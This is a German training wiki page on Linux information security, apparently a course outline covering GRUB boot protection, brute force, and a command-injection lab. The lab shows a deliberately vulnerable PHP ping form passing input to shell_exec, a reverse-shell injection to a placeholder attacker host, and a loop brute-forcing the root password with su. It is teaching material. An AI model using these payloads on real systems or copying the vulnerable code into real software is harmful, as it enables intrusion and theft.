Informationssicherheit in Linux-Umgebungen: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 86: Zeile 86:
  
 
= Links =
 
= Links =
* Brute Force ''su'' als Skript: https://github.com/carlospolop/su-bruteforce/blob/master/suBF.sh
+
* Brute Force ''su'' als Skript: https://github.com/carlospolop/su-bruteforce

Version vom 17. August 2023, 09:02 Uhr

physischer Zugangsschutz

Bootzugriff absichern

  • Der erste Prozess mit dem Linux gebootet wird, kann von GRUB2 bestimmt werden.
  • So kann man das Passwort des root-Nutzers zurücksetzen, falls man diesen vergessen hat.
  • D.h. aber auch, dass ein unautorisierter Benutzer mit Zugriff auf die physische Maschine sich eine Shell geben kann ohne Kenndaten einzugeben.
  • Anleitung zu Linux boot hacking
  • Man sollte also kritische Systeme mit einem GRUB Passwort vor ungewollten Änderungen der Boot-Einträge absichern
  • Anleitung zum setzen eines Passworts für GRUB2

Brute Force Attacken

Hydra

SSH Daemon Konfiguration

Fail2Ban

Command Injection über eine Webanwendung

Laboraufbau

  • apt install apache2 php-sqlite3 libapache2-mod-php

Schwachstelle im Code

  • vim /var/www/html/command-injection.php
 <!DOCTYPE html>
 <html>
	<body>
		<h2>PING</h2>
		<form method="post">
		  <label for="fname">IP</label><br>
		  <input type="text" name="ip"><br>
		  <input type="submit" name="submit" value="submit">
		</form>
		<br>
 <?php
 if(isset($_POST['submit'])){
 	$ip = $_POST['ip'];
 	$cmd = 'ping -c 4 ' . $ip;
 	$output = shell_exec($cmd);
 	echo "<pre> $output</pre>";
 }
 ?>
	 </body>
 </html>
</php>

Exploit

  • Auf der Angreifermaschine:
  • nc -p port
  • In der Webanwendung:
  • 1.1.1.1 ; bash -c "bash -i >& /dev/tcp/i.p.des.hackers/port 0>&1"
  • nach kurzer Zeit sollte man als Angreifer eine Shell als Benutzer www-data bekommen!
  • Von dieser Position aus kann man folgenderweise weitermachen:
  • Backend Code des Servers auslesen
  • Informationen aus den Datenbanken stehlen
  • Brute Force root Passwort: for i in "hallo" "welt" "123Start$" "falschespw" ; do echo $i | timeout 0.7 su root -c whoami 2> /dev/null && echo $i ; done

SELinux

OWASP Juice Shop

Burp

Suricata

Schwachstellenerkennung/-scanning

nmap

Greenbone Security Manager

Cross Site Scripting

Office-Tools Macro-Exploit

Links